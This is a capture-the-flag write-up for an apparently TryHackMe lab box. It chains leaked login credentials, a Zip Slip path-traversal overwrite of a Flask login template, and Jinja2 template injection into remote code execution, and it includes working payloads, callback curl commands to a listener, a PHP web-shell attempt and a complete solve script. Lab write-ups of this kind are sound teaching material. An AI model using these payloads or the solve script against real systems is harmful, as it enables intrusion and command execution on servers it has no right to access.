"The Hollow Shell" is a Python/Flask app (served by Gunicorn) where staff upload a
.zip "shell" - a pack of ambiance assets with a shell.json
manifest - to a "Shoreline Display" portal. The advertised "automation hooks" are a red
herring: in this "(Patched)" build they never execute. The real bug is Zip Slip - the
extractor does not check for path traversal in the archive entries, so a member named
../../templates/login.html overwrites the app's own login template. Flask
renders it on /login, turning the overwrite into Server-Side Template
Injection (SSTI) and then remote code execution. The flag name says it all:
THM{z1p_sl1pp3d_1nt0_a_sh3ll}.
You find it on the beach: pretty, ordinary, the kind of thing nobody thinks to check. Slip something inside and hold it to your ear.
The Byte Lotus beachfront lets guests personalise their in-room display by uploading a shell - a little souvenir pack of shoreline ambiance. Staff publish them through the Shoreline Display portal, and once a shell is "held to the room's ear" it plays its shore. Slip past what the portal forgets to check, and the shell answers with a shell of your own.
Today's itinerary: Find the flag.
None. This is a boot2root-style web box; everything comes from the remote target.
A TryHackMe VM behind the VPN, labelled The Hollow Shell (Patched) in the
room's machine info (that word "Patched" matters later). (The machine was redeployed once
during the work, so two IPs appear below - recon on 10.113.157.160,
exploitation on 10.113.149.100; the app is identical.) A full-port scan shows
only SSH and a Gunicorn app on 5000:
$ nmap -T5 -p- -sV 10.113.157.160
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.18 (Ubuntu Linux; protocol 2.0)
5000/tcp open http Gunicorn
A directory brute force finds the app's routes:
$ dirb http://10.113.157.160:5000/ .../common.txt
+ http://10.113.157.160:5000/login (CODE:200|SIZE:1832)
+ http://10.113.157.160:5000/dashboard (CODE:302|SIZE:199) # redirects to /login unless authenticated
+ http://10.113.157.160:5000/logout (CODE:302|SIZE:199)
+ http://10.113.157.160:5000/upload (CODE:405|SIZE:153) # 405 on GET -> it is a POST endpoint
Conclusion: Gunicorn means a Python WSGI app (Flask), not PHP. A login, an
authenticated dashboard, and a POST-only /upload.
The login page carries an HTML comment with the seeded staff credentials.
The staff sign-in page. Its HTML source hides the default login in a comment.
$ curl -s http://10.113.149.100:5000/login # inside the HTML:
<!--
Byte Lotus // internal display-manager portal
New on the floor team? IT seeds every property with the same starter login ...
user: concierge
pass: StayNoticed2024!
-->
$ curl -s -c hollow.jar --data 'username=concierge&password=StayNoticed2024!' http://10.113.149.100:5000/login
# 302 -> /dashboard, Set-Cookie: session=...
Conclusion: authenticated as concierge; the dashboard opens.
The dashboard is a file-upload portal. Read exactly what it accepts.
Upload a .zip "shell" containing a shell.json manifest. Note the promise of "automation hooks" applied by a "theme worker".
POST /upload (multipart, field "shell" = a .zip)
the zip must contain shell.json at its root: {"name": "...", "assets": [...]}
it is extracted to shells/<random-hex>/
and served back at /shells/<random-hex>/<file> (raw, via send_file)
Conclusion: we control a zip that gets extracted server-side and re-served. Two things to probe: does the extraction validate paths, and do the "automation hooks" run.
The reflex on a file-upload box is to drop a web shell.
Uploaded files are served, but never executed - and a .htaccess is ignored.
$ ls pwn/ # shell.json + a .php web shell, a .css copy of it, and an Apache .htaccess
shell.json ps.php ps.css .htaccess
$ cat pwn/.htaccess
AddType application/x-httpd-php .css
$ (cd pwn && zip -q -r ../ps.zip .) && curl -s -b hollow.jar -F 'shell=@ps.zip' http://10.113.149.100:5000/upload
$ curl -s http://10.113.149.100:5000/shells/<id>/.htaccess
AddType application/x-httpd-php .css
Conclusion: the .htaccess is simply served back as a file - it is an
Apache feature and Gunicorn/Flask ignores it, so ps.css/ps.php
come back as raw text and never run. There is no PHP interpreter; any code execution has
to come from the Python side.
"The theme worker applies automation hooks shortly after the shell comes ashore" reads like intended RCE. A shell.json was uploaded with every plausible hook shape.
$ # a listener to catch any hook that calls out
$ python3 -m http.server 9002 &
$ # shell.json carrying the same callback under every plausible hook field
$ cat shell.json
{"name": "x", "assets": [],
"hook": "curl -s http://192.168.128.17:9002/hook",
"on_apply": "curl -s http://192.168.128.17:9002/onapply",
"command": "curl -s http://192.168.128.17:9002/command",
"run": "curl -s http://192.168.128.17:9002/run",
"hooks": ["curl -s http://192.168.128.17:9002/hooks"],
"automation": ["curl -s http://192.168.128.17:9002/automation"]}
$ zip -q hook.zip shell.json && curl -s -b hollow.jar -F 'shell=@hook.zip' http://10.113.149.100:5000/upload # 302
$ # egress-free variant: a hook.sh (referenced in the manifest) that writes to its
$ # own served directory - shell.json: {"hooks": ["hook.sh"]}
$ # hook.sh: id > "$(dirname "$0")/out.txt"
$ curl -s -o /dev/null -w '%{http_code}\n' http://10.113.149.100:5000/shells/<id>/out.txt
404
The listener log stays empty and out.txt is never created - the same result
across dozens of shapes: shell-command strings, Python expressions (in case they are
eval'd), script filenames, and fixed auto-run names (hook.sh,
apply.sh, autorun.sh, ...). The manifest is stored verbatim
(readable back at /shells/<id>/shell.json) but nothing ever runs it.
Conclusion: the hook feature is observably inert. Given the VM's "(Patched)" label (section 2), the hook-based RCE is most likely the piece that was removed - but that is an inference, not a fact the room states. Either way, the way in is the extraction itself.
Zip Slip is a path-traversal bug in archive extraction: a ZIP entry's stored name
can contain ../ sequences. If the extractor joins that name onto the
destination directory and writes the file without checking, the file lands outside
the intended directory - anywhere the process can write. Test it by aiming a member at a
different shell's directory:
$ # A plain "zip" cannot store a ../ entry, so exploit shells are built with python's
$ # zipfile.writestr. This helper packs a valid shell.json plus one traversing member;
$ # it is reused in the steps below (3.7, 3.8):
$ mkshell() { python3 -c 'import sys, zipfile, json
with zipfile.ZipFile(sys.argv[1], "w") as z:
z.writestr("shell.json", json.dumps({"name": "x", "assets": []}))
z.writestr(sys.argv[2], sys.argv[3])' "$@"; }
$ # aim a member at a DIFFERENT shell's directory to prove the traversal:
$ mkshell slip.zip "../<other-shell-id>/slip.txt" SLIP_OK_MARKER
$ curl -s -b hollow.jar -F 'shell=@slip.zip' http://10.113.149.100:5000/upload # 302
$ curl -s http://10.113.149.100:5000/shells/<other-shell-id>/slip.txt
SLIP_OK_MARKER
Conclusion: confirmed arbitrary write. Probing further: ../../ reaches
the app root (its static/ and shells/ both live there), missing
directories are created, and piling on ../ clamps at / so any
absolute path is reachable. Write is as the app user (non-root: writes to /root
or /home/* return 500).
Arbitrary write needs an execution or read sink. Several did not pan out:
--reload: overwrote app.py and 20+
other module names via Zip Slip - the running app never changed, so --reload
is off./shells/<id>/<file> (traversal with
../, %2f, absolute paths, even curl --path-as-is)
- send_from_directory blocks all of it.~/.ssh/authorized_keys - the app user is non-root and
its home is not writable (only the app directory and /tmp accept writes),
and sshd StrictModes would reject a key placed in a writable directory anyway.Conclusion: no reload, no read. But the app must read some file at request time to render pages - its templates.
Flask renders pages from templates/*.html. Overwrite the login template (via
Zip Slip, ../../templates/login.html) with a Jinja probe and load
/login. A broad sweep of template names pinned it down:
$ # overwrite the login template with a Jinja probe (mkshell from 3.5)
$ mkshell sweep.zip "../../templates/login.html" 'SW_login[{{7*7}}]'
$ curl -s -b hollow.jar -F 'shell=@sweep.zip' http://10.113.149.100:5000/upload
$ curl -s http://10.113.149.100:5000/login
SW_login[49]
Conclusion: 7*7 rendered as 49 - the overwritten template
is evaluated by Jinja2. That is SSTI, and Jinja2 SSTI is a straight path to code execution.
(Templates are compiled and cached per Gunicorn worker with no auto-reload, so the
overwrite only "takes" on a worker's first render of login.html - in practice
a couple of requests to a freshly-deployed instance.)
Reach os through a template global. config is available in any
Flask-rendered template, and flask.config imports os, so
config.__class__.__init__.__globals__['os'] gives command execution.
$ # the SSTI payload contains quotes, so build it directly (shell.json + member as in 3.5)
$ python3 - <<'PY'
import zipfile, json
CMD = "id; hostname; echo ===FLAG===; cat /home/*/flag.txt 2>/dev/null; find / -iname '*flag*' 2>/dev/null"
ssti = "{{ config.__class__.__init__.__globals__['os'].popen(%r).read() }}" % CMD
with zipfile.ZipFile("rce.zip", "w") as z:
z.writestr("shell.json", json.dumps({"name": "x", "assets": []}))
z.writestr("../../templates/login.html", ssti)
PY
$ curl -s -b hollow.jar -F 'shell=@rce.zip' http://10.113.149.100:5000/upload
$ curl -s http://10.113.149.100:5000/login
uid=996(roomservice) gid=996(roomservice) groups=996(roomservice)
tryhackme-2404
===FLAG===
THM{z1p_sl1pp3d_1nt0_a_sh3ll}
... # find / -iname '*flag*' - many kernel-header matches trimmed
/home/roomservice/flag.txt
...
Conclusion: code execution as roomservice; the flag sat in
/home/roomservice/flag.txt. "zip slipped into a shell".
solve.sh - login, build the Zip-Slip shell that overwrites the login template with an SSTI payload, upload, and poll /login until a worker renders it:
#!/bin/sh
# The Hollow Shell - Zip Slip -> overwrite templates/login.html -> Jinja2 SSTI -> RCE.
# usage: sh solve.sh <MACHINE_IP>
if [ "$1" = "" ]; then
echo "usage: sh solve.sh <MACHINE_IP>" >&2
exit 1
fi
T=$1:5000
JAR=hollow.jar
# 1. default staff login, leaked in an HTML comment on the login page
curl -s -c "$JAR" --data 'username=concierge&password=StayNoticed2024!' "http://$T/login" >/dev/null
# 2. build the malicious shell: valid shell.json at the root + a path-traversing member
# that replaces templates/login.html with an SSTI RCE payload
python3 - <<'PY'
import zipfile, json
CMD = "id; hostname; echo ===FLAG===; cat /home/*/flag.txt 2>/dev/null; find / -iname '*flag*' 2>/dev/null"
ssti = "{{ config.__class__.__init__.__globals__['os'].popen(%r).read() }}" % CMD
with zipfile.ZipFile("evil.zip", "w") as z:
z.writestr("shell.json", json.dumps({"name": "x", "assets": []}))
z.writestr("../../templates/login.html", "SSTI_START\n" + ssti + "\nSSTI_END\n")
PY
# 3. upload (Zip Slip writes the template), then hit /login until a worker renders it
curl -s -b "$JAR" -F 'shell=@evil.zip;type=application/zip' "http://$T/upload" >/dev/null
i=0
while [ $i -lt 60 ]; do
out=$(curl -s "http://$T/login")
if echo "$out" | grep -q SSTI_START; then
echo "$out" | sed -n '/SSTI_START/,/SSTI_END/p'
exit 0
fi
i=$((i + 1))
done
echo "no render yet - warm template cache; redeploy and retry"
$ sh solve.sh 10.113.149.100
SSTI_START
uid=996(roomservice) gid=996(roomservice) groups=996(roomservice)
tryhackme-2404
===FLAG===
THM{z1p_sl1pp3d_1nt0_a_sh3ll}
...
/home/roomservice/flag.txt
...
SSTI_END
The two ... mark where output was cut: the payload's
find / -iname '*flag*' also matches dozens of kernel-header
*FLAG* files, trimmed here around the one that matters,
/home/roomservice/flag.txt.
| # | Stage | Mechanism |
|---|---|---|
| 1 | Leaked login | The login page HTML comment hands out the seeded staff credentials
concierge / StayNoticed2024!. |
| 2 | Zip Slip | The .zip "shell" is extracted without path-traversal checks, so a
member ../../templates/login.html overwrites the app's own login
template (arbitrary write as the app user). |
| 3 | SSTI | Flask renders login.html on /login; the overwritten
template is evaluated by Jinja2 ({{ 7*7 }} -> 49). |
| 4 | RCE -> flag | {{ config.__class__.__init__.__globals__['os'].popen(cmd).read() }}
runs commands as roomservice; the flag is read from
/home/roomservice/flag.txt. |